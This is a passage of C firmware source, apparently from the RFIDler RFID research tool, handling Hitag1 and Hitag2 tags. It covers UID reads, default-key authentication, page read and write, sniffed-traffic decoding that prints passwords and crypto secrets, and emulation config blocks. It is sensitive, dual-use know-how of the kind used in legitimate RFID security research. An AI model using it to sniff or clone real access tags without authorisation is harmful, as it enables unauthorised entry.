* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
// We want the crypto functions to be as fast as possible, so optimize!
// The best compiler optimization in Microchip's free XC32 edition is -O1
#pragma GCC optimize("O1")
#include "HardwareProfile.h"
#include "ask.h"
#include "comms.h"
#include "config.h"
#include "hitagcrypto.h"
#include "hitag.h"
#include "rfidler.h"
#include "rwd.h"
#include "sniff.h"
#include "util.h"
// sync/ack checking
const BYTE Hitag2Sync[5]= {0x01, 0x01, 0x01, 0x01, 0x01};
const BYTE Hitag1ACK[3]= {0x01, 0x00, 0x01};
const BYTE *Hitag2_Modes[]= {"Public Mode B", "Public Mode A", "Public Mode C", "Hitag2"};
// crypto globals
Hitag_State Hitag_Crypto_State;
BOOL CryptoActive= FALSE;
extern BYTE Sniffstore;
// crypto hints:
//
// when running hitag2 in crypto mode, bear in mind that both the reader and the tag must maintain the same crypto
// stream. this means that every crypto operation on either side must be mirrored on the other side in order to
// keep the streams synchronised. essentially, this means that every encrypted packet received from the tag must
// be decrypted, even if you don't plan to use the data, and everything must be done in real-time order - i.e. you
// cannot pre-encrypt to save time if that changes the order that bits are encrypted in.
//
// after authentication, everything is encrypted on the reader side, including commands. the tag only encrypts the data,
// not the 5 sync bits.
BOOL hitag1_get_uid(BYTE *response)
{
BYTE tmp[132]; // 33 bits x 4
rwd_send(HITAG1_SET_CC, strlen(HITAG1_SET_CC), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX);
// get tag id in anti-collision mode (proprietary data format, so switch off manchester and read at double the data rate, for 4 x the data bits)
RFIDlerConfig.Manchester= FALSE;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate / 2, tmp, RFIDlerConfig.DataBits * 4, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == RFIDlerConfig.DataBits * 4)
{
if (hitag_ac_to_bin(tmp, tmp, 132))
{
// check sync bit
if(tmp[0] != 0x01)
return FALSE;
binarraytohex(response, tmp + 1, 32);
RFIDlerConfig.Manchester= TRUE;
// delay for RX->TX period
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);
return TRUE;
}
}
RFIDlerConfig.Manchester= TRUE;
return FALSE;
}
// return interpreted UID
BOOL hitag1_hex_to_uid(BYTE *response, BYTE *hex)
{
strcpy(response, hex);
return TRUE;
}
// select HITAG1 for read/write operations - return config page
BOOL hitag1_select(BYTE *response, BYTE *uid)
{
BYTE command[38], tmp1[33]; // command: 5 bit command + 32 bit uid + NULL
strcpy(command, HITAG1_SELECT);
if(!hextobinstring(command + 5, uid))
return FALSE;
// send command and get back 1 sync bit + 32 bit configpage
if(!hitag1_send_command(tmp1, command, NO_RESET, NO_SYNC, 33, NO_ACK))
return FALSE;
// check sync bit
if(tmp1[0] == 0x01)
{
binarraytohex(response, tmp1 + 1, 32);
return TRUE;
}
return FALSE;
}
// read page - 32 bits
// pages 2 - 15 are probably not readable!
BOOL hitag1_read_page(BYTE *response, BYTE block)
{
BYTE tmp[HITAG1_BLOCKSIZE + 6]; // 32 bits plus 6 sync bits
if(block > HITAG1_DATABLOCKS - 1)
return FALSE;
// get tag's UID for select command
if(!hitag1_get_uid(tmp))
return FALSE;
// select for read/write
hitag1_select(tmp, tmp);
// create 12 bit command block: HITAG1_RDPPAGE + 8 bits address
strcpy(tmp, HITAG1_RDPPAGE);
inttobinstring(tmp + 4, (unsigned int) block, 8);
tmp[12]= '\0';
// ??? docs say 6 sync bits!
if(!hitag1_send_command(tmp, tmp, NO_RESET, NO_SYNC, HITAG1_BLOCKSIZE + 1, NO_ACK))
return FALSE;
// check sync
if(tmp[0] != 0x01)
return FALSE;
binarraytohex(response, tmp + 1, HITAG1_BLOCKSIZE);
return TRUE;
}
BOOL hitag1_write_page(BYTE block, BYTE *data)
{
BYTE crc, command[21], tmp[33], tmp1[4];
if(block > HITAG1_DATABLOCKS - 1)
return FALSE;
// get tag's UID for select command
if(!hitag1_get_uid(tmp))
return FALSE;
// select for read/write
hitag1_select(tmp, tmp);
// convert data to binstring for send
if(hextobinstring(tmp, data) != 32)
return FALSE;
// create and send 12 bit command block: HITAG1_WRPPAGE (4 bits) + 8 bit address
memcpy(command, HITAG1_WRPPAGE, 4);
inttobinstring(command + 4, (unsigned int) block, 8);
command[12]= '\0';
if(!hitag1_send_command(tmp1, command, NO_RESET, NO_SYNC, 0, ACK))
return FALSE;
// delay to switch back to write mode
Delay_us((RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);
// now send data
if(!hitag1_send_command(tmp1, tmp, NO_RESET, NO_SYNC, 0, ACK))
return FALSE;
// read back and verify
// delay for long enough to allow write plus RX->TX period
Delay_us((HITAG1_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);
if(!hitag1_read_page(tmp, block))
return FALSE;
if(memcmp(tmp, data, 8) != 0)
return FALSE;
return TRUE;
}
// calcuate CRC & send command - response in binarray
BOOL hitag1_send_command(BYTE *response, BYTE *command, BOOL reset, BOOL sync, BYTE response_length, BOOL ack)
{
BYTE crc= HITAG1_CRC_PRESET, tmp[HITAG1_MAX_COMMAND_LEN], length; // supplied command is 4 bits + 8 bit address. we add 8 bit CRC
// calculate crc
length= binstringtobinarray(tmp, command);
hitag1_binarray_crc(&crc, tmp, length);
// add 8 bit crc to command
inttobinarray(tmp + length, (unsigned int) crc, 8);
length += 8;
// send command - first gap is GAP, not SLEEP
if(!rwd_send(tmp, length, reset, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// get/check 3 bit ACK if required
if(ack)
{
// sync manchester
HW_Skip_Bits= 1;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 3, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 3)
{
if (memcmp(tmp, Hitag1ACK , 3) != 0)
return FALSE;
}
else
return FALSE;
}
if(!response_length)
return TRUE;
// read response as binary data
// sync manchester
HW_Skip_Bits= 1;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, response, response_length, RFIDlerConfig.Sync, sync ? RFIDlerConfig.SyncBits : 0, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == response_length)
{
// delay for RX->TX time
Delay_us((RFIDlerConfig.FrameClock * RFIDlerConfig.RWD_Wait_Switch_RX_TX) / 100);
return TRUE;
}
return FALSE;
}
// update hitag1 crc for arbitrary binarray length
void hitag1_binarray_crc(BYTE *crc, BYTE *bin, BYTE length)
{
BYTE i;
for(i= 0 ; i < length ; i += 8)
if(length - i < 8)
hitag1_crc(crc, (BYTE) binarraytoint(bin + i, length - i) << 8 - (length - i), length - i);
else
hitag1_crc(crc, (BYTE) binarraytoint(bin + i, 8), 8);
}
// update hitag1 crc from a single byte, limit to specified number of bits
void hitag1_crc(BYTE *crc, BYTE data, BYTE bits)
{
*crc ^= data;
while(bits--)
{
if( *crc & 0x80 )
{
*crc <<= 1;
*crc ^= HITAG1_CRC_POLYNOM;
}
else
*crc <<= 1;
}
}
// decode externally sniffed PWM
BOOL hitag1_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)
{
unsigned int i, j;
BOOL decoded= FALSE;
BYTE out[46], tmp[9], x; // max command from hitag1 is 5 bit command plus 32 bits + 8 bit crc == 45
j= 0;
while(j < count)
{
i= generic_decode_pwm(out, &pulses[j], 10, 256, &gaps[j], 10, 80, count - j);
if(i)
{
// there are only 5 message sizes, so decode accordingly
switch(strlen(out))
{
// halt
case 4:
if(memcmp(out, HITAG1_HALT, 4) == 0)
UserMessage("\r\n%s, HALT", out);
else
UserMessage("\r\n%s, ?INVALID?", out);
break;
// get UID
case 5:
if(memcmp(out, HITAG1_SET_CC, 5) == 0)
UserMessage("\r\n%s, SET_CC", out);
else
UserMessage("\r\n%s, ?INVALID?", out);
break;
// read/write
case 20:
if(memcmp(out, HITAG1_RDPPAGE, 4) == 0)
UserMessage("\r\n%s, READ_PLAINTEXT_PAGE:", out);
else
if(memcmp(out, HITAG1_WRPPAGE, 4) == 0)
UserMessage("\r\n%s, WRITE_PLAINTEXT_PAGE:", out);
else
{
UserMessage("\r\n%s, ?INVALID?", out);
break;
}
out[20]= '\0';
binstringtohex(tmp, out + 4);
// page
UserMessage("%.2s:", tmp);
// crc
UserMessage("%s", tmp + 2);
break;
// data
case 40:
UserMessage("\r\n%s, DATA:", out);
out[40]= '\0';
binstringtohex(tmp, out);
// DATA
UserMessage("%.8s:", tmp);
// CRC
UserMessage("%s", tmp + 8);
break;
// select
case 45:
if(memcmp(out, HITAG1_SELECT, 5) == 0)
{
UserMessage("\r\n%s, SELECT:", out);
out[45]= '\0';
binstringtohex(tmp, out + 5);
// UID
UserMessage("%.8s:", tmp);
// CRC
UserMessage("%s", tmp + 8);
}
else
UserMessage("\r\n%s, ?INVALID?", out);
break;
default:
UserMessage("\r\n%s,?INVALID?", out);
}
decoded= TRUE;
j += i;
}
else
break;
}
UserMessage("%s", "\r\n");
return decoded;
}
// hitag2
BOOL hitag2_get_uid(BYTE *response)
{
BYTE tmp[37];
// START_AUTH kills active crypto session
CryptoActive= FALSE;
if(!rwd_send(HITAG2_START_AUTH, strlen(HITAG2_START_AUTH), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits= 1;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, RFIDlerConfig.DataBits, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == RFIDlerConfig.DataBits)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
return FALSE;
binarraytohex(response, tmp + 5, 32);
return TRUE;
}
return FALSE;
}
// return interpreted UID
BOOL hitag2_hex_to_uid(BYTE *response, BYTE *hex)
{
strcpy(response, hex);
return TRUE;
}
// auth in password mode
BOOL hitag2_pwd_auth(BYTE *response, BYTE *pwd)
{
BYTE tmp[37];
// restart the tag
if(!hitag2_get_uid(tmp))
return FALSE;
if(strlen(pwd) == 0)
pwd= HITAG2_PWD_DEFAULT;
// use default transport key if none specified
if(!hextobinstring(tmp, pwd))
return FALSE;
// wait for RX->TX period, then send 32 bit PWD
if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits= 1;
// get 37 bit response: sync + config byte + 24 bit TAG pwd
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
return FALSE;
binarraytohex(response, tmp + 5, 32);
return TRUE;
}
return FALSE;
}
// note that PRN is not created with security in mind - just using a simple seed
BOOL hitag2_crypto_auth(BYTE *response, BYTE *hexkey)
{
BYTE tmp[65], tmphex[9];
unsigned long long key;
unsigned long uid;
unsigned long initvec;
// use default transport key if none specified
if(strlen(hexkey) == 0)
hexkey= HITAG2_KEY_DEFAULT;
// get UID for initialisation
if(!hitag2_get_uid(tmp))
return FALSE;
// convert to numerics for crypto routines
uid= hexreversetoulong(tmp);
key= hexreversetoulonglong(hexkey);
// generate 32 bit PRN for challenge
// seed random number generator
// done here to try to add a bit more randomness by using LED count which is updated
// by the main loop
//srand((int) (Led_Count / 2));
initvec= rand();
initvec <<= 16;
initvec += rand();
// prepare to send IV in the clear to tag
ulongtobinstring(tmp, initvec, 32);
// convert IV to MSB for crypto routines
binstringtohex(tmphex, tmp);
initvec= hexreversetoulong(tmphex);
// initialise crypto
hitag2_init(&Hitag_Crypto_State, rev64(key), rev32(uid), rev32(initvec));
// send inverse of 1st 32bits of keystream to tag for authentication
ulongtobinstring(tmp + 32, hitag2_crypt(0xFFFFFFFF, 32), 32);
// restart the tag & auth process
if(!hitag2_get_uid(TmpBuff))
return FALSE;
// wait for RX->TX period, then send PRN+secret
if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits= 1;
// get 37 bit response: sync + config byte + 24 bit TAG pwd
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
return FALSE;
CryptoActive= TRUE;
// decrypt
binarraytohex(response, tmp + 5, 32);
return hitag2_hex_crypt(response, response);
}
return FALSE;
}
BOOL hitag2_read_page(BYTE *response, BYTE block)
{
BYTE tmp[37];
if(block > HITAG2_DATABLOCKS - 1)
return FALSE;
// create 10 bit command block: HITAG2_READ_PAGE + 3 bits address + invert(HITAG2_READ_PAGE + 3 bits address)
memcpy(tmp, HITAG2_READ_PAGE, 2);
inttobinstring(tmp + 2, (unsigned int) block, 3);
invertbinstring(tmp + 5, tmp);
tmp[10]= '\0';
// encrypt command if in crypto mode
if(CryptoActive)
hitag2_binstring_crypt(tmp, tmp);
// send with RX->TX delay and no reset
if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits= 1;
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
return FALSE;
binarraytohex(response, tmp + 5, 32);
// decrypt
if(CryptoActive)
return hitag2_hex_crypt(response, response);
return TRUE;
}
return FALSE;
}
BOOL hitag2_write_page(BYTE block, BYTE *data)
{
BYTE command[11], tmp[37], tmp1[37], tmp2[37], tmphex[9];
if(block > HITAG2_DATABLOCKS - 1)
return FALSE;
// create 10 bit command block: HITAG2_WRIE_PAGE + 3 bits address + invert(HITAG2_WRITE_PAGE + 3 bits address)
memcpy(command, HITAG2_WRITE_PAGE, 2);
inttobinstring(command + 2, (unsigned int) block, 3);
invertbinstring(command + 5, command);
command[10]= '\0';
// encrypt command if in crypto mode
if(CryptoActive)
hitag2_binstring_crypt(tmp, command);
else
memcpy(tmp, command, 11);
// convert data to binstring for send
if(hextobinstring(tmp1, data) != 32)
return FALSE;
// send command with RX->TX delay and no reset
if(!rwd_send(tmp, strlen(tmp), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits= 1;
// get ACK - 10 bytes + sync
if(read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp2, 15, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY) == 15)
{
// check sync bits
if (memcmp(tmp2, Hitag2Sync, 5) != 0)
return FALSE;
// decrypt
if(CryptoActive)
hitag2_binarray_crypt(tmp2 + 5, tmp2 + 5, 10);
// check ACK - should be our original command echo'd back
binarraytobinstring(tmp2 + 5, tmp2 + 5, 10);
if(memcmp(command, tmp2 + 5, 10) != 0)
return FALSE;
}
// encrypt data if in crypto mode
if(CryptoActive)
hitag2_binstring_crypt(tmp1, tmp1);
// send data with RX->TX delay and no reset
if(!rwd_send(tmp1, strlen(tmp1), NO_RESET, BLOCK, RWD_STATE_WAKING, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
return FALSE;
// no ack, so read back and verify
// delay for long enough to allow write plus RX->TX period
Delay_us((HITAG2_WRITE_DELAY * RFIDlerConfig.FrameClock + RFIDlerConfig.RWD_Wait_Switch_RX_TX * RFIDlerConfig.FrameClock) / 100);
if(!hitag2_read_page(tmp, block))
return FALSE;
if(memcmp(tmp, data, 8) != 0)
return FALSE;
return TRUE;
}
// attempt to find ideal parameters for GAP, ZERO and ONE periods.
// ranges specified in FC
void hitag2_test_rwd(unsigned int gapmin, unsigned int gapmax, unsigned int zeromin, unsigned int zeromax, unsigned int onemin, unsigned int onemax, BYTE *pass)
{
BYTE i, imax, countu, counta, countr;
unsigned int gap, zero, one, fc;
imax= 5;
for(fc= 800 ; fc <= 809 ; ++fc)
{
for(gap= gapmin ; gap <= gapmax ; ++gap)
for(zero= zeromin ; zero <= zeromax ; ++zero)
for(one= onemin ; one <= onemax ; ++one)
{
RFIDlerConfig.FrameClock= (unsigned long) fc;
RFIDlerConfig.RWD_Gap_Period= gap;
RFIDlerConfig.RWD_Zero_Period= zero;
RFIDlerConfig.RWD_One_Period= one;
UserMessageNum("\rGap %d", gap);
UserMessageNum(" Zero %d", zero);
UserMessageNum(" One %d", one);
UserMessageNum(" FC %d", fc);
for(i= countu= counta= countr= 0 ; i < imax ; ++i)
{
if(get_user_abort())
return;
if(hitag2_get_uid(DataBuff))
{
++countu;
if(hitag2_pwd_auth(DataBuff, pass) || hitag2_crypto_auth(DataBuff, pass))
{
++counta;
if(hitag2_read_page(DataBuff, 0))
++countr;
}
}
}
if(countu == imax && counta == imax && countr == imax)
{
UserMessageNum(" - got %d", countu);
UserMessageNum(" uids, %d", counta);
UserMessageNum(" auths %d", countr);
UserMessageNum(" reads, out of %d attempts.\r\n", imax);
}
}
UserMessage("%s", "\r\n");
}
}
// decrypt hex - safe to do in place
BOOL hitag2_hex_crypt(BYTE *target, BYTE *source)
{
BYTE cryptogram, tmp[3];
unsigned int length;
length= strlen(source);
while(length)
{
if(sscanf(source, "%2X", &cryptogram) != 1)
return FALSE;
sprintf(tmp, "%02X", hitag2_crypt(cryptogram, 8));
memcpy(target, tmp, 2);
source += 2;
target += 2;
length -= 2;
}
return TRUE;
}
// encrypt a binstring - safe to do in place
void hitag2_binstring_crypt(BYTE *target, BYTE *source)
{
BYTE cryptogram;
unsigned int length;
length= strlen(source);
while(length)
{
cryptogram= *(source++) - '0';
*(target++)= (BYTE) hitag2_crypt(cryptogram, 1) + '0';
--length;
}
*target= '\0';
}
// encrypt a binarray - safe to do in place
void hitag2_binarray_crypt(BYTE *target, BYTE *source, unsigned int length)
{
while(length)
{
*(target++)= (BYTE) hitag2_crypt(*(source++), 1);
--length;
}
}
// crypt with current keystream, length in bits
unsigned long hitag2_crypt(unsigned long source, BYTE length)
{
return source ^ hitag2_nstep(&Hitag_Crypto_State, length);
}
// convert hitag 'anticollision mode' data to standard binary
// safe to do in-place as target is shorter
unsigned int hitag_ac_to_bin(BYTE *target, BYTE *source, unsigned int length)
{
unsigned int i;
BYTE zero[]= {1,1,0,0};
BYTE one[]= {1,0,1,0};
for(i= 0 ; i < length ; i += 4, source, ++target)
{
if(memcmp(source + i, one, 4) == 0)
*target= 0x01;
else
if(memcmp(source + i, zero, 4) == 0)
*target= 0x00;
else
return 0;
}
return HEXDIGITS(length);
}
// set a config block suitable for emulating
BOOL hitag2_emulate_config_block(BYTE *config, BYTE target_tagtype)
{
switch (target_tagtype)
{
case TAG_TYPE_FDXB:
memcpy(config, HITAG2_FDXB_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));
return TRUE;
case TAG_TYPE_EM4X02:
case TAG_TYPE_Q5:
case TAG_TYPE_UNIQUE:
memcpy(config, HITAG2_UNIQUE_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));
return TRUE;
case TAG_TYPE_HITAG2:
memcpy(config, HITAG2_DEFAULT_CONFIG_BLOCK, HEXDIGITS(HITAG2_BLOCKSIZE));
return TRUE;
default:
return FALSE;
}
}
// decode externally sniffed PWM
BOOL hitag2_decode_pwm(unsigned int pulses[], unsigned int gaps[], unsigned int count)
{
unsigned int i, j;
BOOL decoded= FALSE, encrypted= FALSE, auth= FALSE;
BYTE out[65], tmp[33], x; // max response from hitag2 is 64 bits
j= 0;
while(j < count)
{
i= generic_decode_pwm(out, &pulses[j], 10, 256, &gaps[j], 10, 80, count - j);
if(i)
{
// there are only 4 message sizes, so decode accordingly
switch(strlen(out))
{
// start_auth
case 5:
auth= FALSE;
if(memcmp(out, HITAG2_START_AUTH, 5) == 0)
{
UserMessage("\r\n%s, START_AUTH", out);
auth= TRUE;
}
else
UserMessage("\r\n%s, ?INVALID?", out);
encrypted= FALSE;
break;
// read/write/halt
case 10:
auth= FALSE;
if(encrypted)
{
UserMessage("\r\n%s, CMD_ENCRYPTED", out);
break;
}
if(memcmp(out, HITAG2_HALT, 2) == 0)
{
UserMessage("\r\n%s, HALT", out);
break;
}
if(memcmp(out, HITAG2_READ_PAGE, 2) == 0)
UserMessage("\r\n%s, READ_PAGE:", out);
if(memcmp(out, HITAG2_READ_PAGE_INVERTED, 2) == 0)
UserMessage("\r\n%s, READ_PAGE_INVERTED:", out);
if(memcmp(out, HITAG2_WRITE_PAGE, 2) == 0)
UserMessage("\r\n%s, WRITE_PAGE:", out);
binstringtobyte(&x, &out[2], 3);
UserMessageNum("%d", x);
break;
// password or data
case 32:
if(auth)
UserMessage("\r\n%s, PWD:", out);
else
UserMessage("\r\n%s, DATA:", out);
binstringtohex(out, out);
UserMessage("%s", out);
auth= FALSE;
break;
// crypto handshake
case 64:
if (Sniffstore)
{
store_pwm(out);
}
UserMessage("\r\n%s, PRN:", out);
memcpy(tmp, out, 32);
tmp[32]= '\0';
binstringtohex(out, tmp);
UserMessage("%s: SECRET:", out);
binstringtohex(out, out + 32);
UserMessage("%s", out);
encrypted= TRUE;
auth= FALSE;
break;
default:
UserMessage("\r\n%s,?INVALID?", out);
}
decoded= TRUE;
j += i;
}
else
break;
}
UserMessage("%s", "\r\n");
return decoded;
}
BOOL hitag2_config_block_show(BYTE *config, BYTE *password, BYTE *key)
{
BYTE value= hextobyte(config); // first byte only used as config
UserMessage(" PWD Block (1): %.8s ", password);
printhexreadable(password, 4);
UserMessage("\r\n\r\n Key Block (2): %.8s ", key);
printhexreadable(key, 4);
UserMessage("\r\n\r\n Config Block (3): %.8s\r\n\r\n", config);
UserMessageNum(" Page 1 & 2: %d = ", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT));
if(GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY))
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT) ? "No Read / No Write" : "Read / Write");
else
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_PAGE_1_2_OTP_PROTECT, HITAG2_SHIFT_PAGE_1_2_OTP_PROTECT) ? "Page 1: No Read / No Write, Page 2: Read Only" : "Read / Write");
UserMessageNum(" Page 3: %d = ", GET_CONFIG(value, HITAG2_MASK_PAGE_3_OTP_PROTECT, HITAG2_SHIFT_PAGE_3_OTP_PROTECT));
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_PAGE_3_OTP_PROTECT, HITAG2_SHIFT_PAGE_3_OTP_PROTECT) ? "Read Only" : "Read / Write");
UserMessageNum(" Page 4 & 5: %d = ", GET_CONFIG(value, HITAG2_MASK_PAGE_4_5_PROTECT, HITAG2_SHIFT_PAGE_4_5_PROTECT));
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_PAGE_4_5_PROTECT, HITAG2_SHIFT_PAGE_4_5_PROTECT) ? "Read Only" : "Read / Write");
UserMessageNum(" Page 6 & 7: %d = ", GET_CONFIG(value, HITAG2_MASK_PAGE_6_7_PROTECT, HITAG2_SHIFT_PAGE_6_7_PROTECT));
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_PAGE_6_7_PROTECT, HITAG2_SHIFT_PAGE_6_7_PROTECT) ? "Read Only" : "Read / Write");
UserMessageNum(" Security: %d = ", GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY));
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_SECURITY, HITAG2_SHIFT_SECURITY) ? "Crypto" : "Password");
UserMessageNum(" Mode: %d = ", GET_CONFIG(value, HITAG2_MASK_MODE, HITAG2_SHIFT_MODE));
UserMessage("%s\r\n", (BYTE *) Hitag2_Modes[GET_CONFIG(value, HITAG2_MASK_MODE, HITAG2_SHIFT_MODE)]);
UserMessageNum(" Modulation: %d = ", GET_CONFIG(value, HITAG2_MASK_MODULATION, HITAG2_SHIFT_MODULATION));
UserMessage("%s\r\n", GET_CONFIG(value, HITAG2_MASK_MODULATION, HITAG2_SHIFT_MODULATION) ? "BiPhase" : "Manchester");
UserMessage("\r\n PWD Block (3): %.6s ", config + 2);
printhexreadable(config + 2, 3);
UserMessage("%s", "\r\n");
return TRUE;
}
void hitag2_pwm_nvm_clear()
{
uint32_t count = 0;
